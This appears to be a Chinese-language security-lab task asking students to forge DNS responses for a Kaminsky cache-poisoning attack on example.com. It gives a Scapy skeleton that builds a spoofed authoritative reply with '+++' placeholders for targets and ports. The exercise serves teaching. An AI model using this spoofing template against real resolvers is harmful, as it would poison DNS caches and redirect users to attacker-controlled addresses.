Section outline

  • 在此任务中,我们需要伪造 Kaminsky 攻击中的 DNS 响应。由于我们的攻击目标是 example.com,我们需要伪造从该域的域名服务器返回的响应。学生首先需要找到 example.com 的合法域名服务器的 IP 地址 (值得注意的是这个域名有多个域名服务器)。

    学生可以使用 Scapy 来实现这个任务,以下的代码示例构建了一个 DNS 响应包,其中包含了问题部分,回答部分以及一个域名服务器部分。在这段代码中,我们使用 +++ 作为占位符,学生需要用 Kaminsky 攻击中所需要的值来替换。学生需要解释为什么选择这些值。
    name   = '+++'  
    domain = '+++'  
    ns     = '+++'
    
    Qdsec  = DNSQR(qname=name)
    Anssec = DNSRR(rrname=name,   type='A',  rdata='1.2.3.4', ttl=259200)
    NSsec  = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
    dns    = DNS(id=0xAAAA, aa=1, rd=1, qr=1,
                 qdcount=1, ancount=1, nscount=1, arcount=0,
                 qd=Qdsec, an=Anssec, ns=NSsec)
    
    ip    = IP(dst='+++', src='+++')
    udp   = UDP(dport=+++, sport=+++, chksum=0)
    reply = ip/udp/dns
     
    由于这些响应本身并不能成功实施攻击,为了展示任务完成的效果,学生需要使用 Wireshark 来捕获伪造的 DNS 响应,并证明这些伪造的数据包是合法的。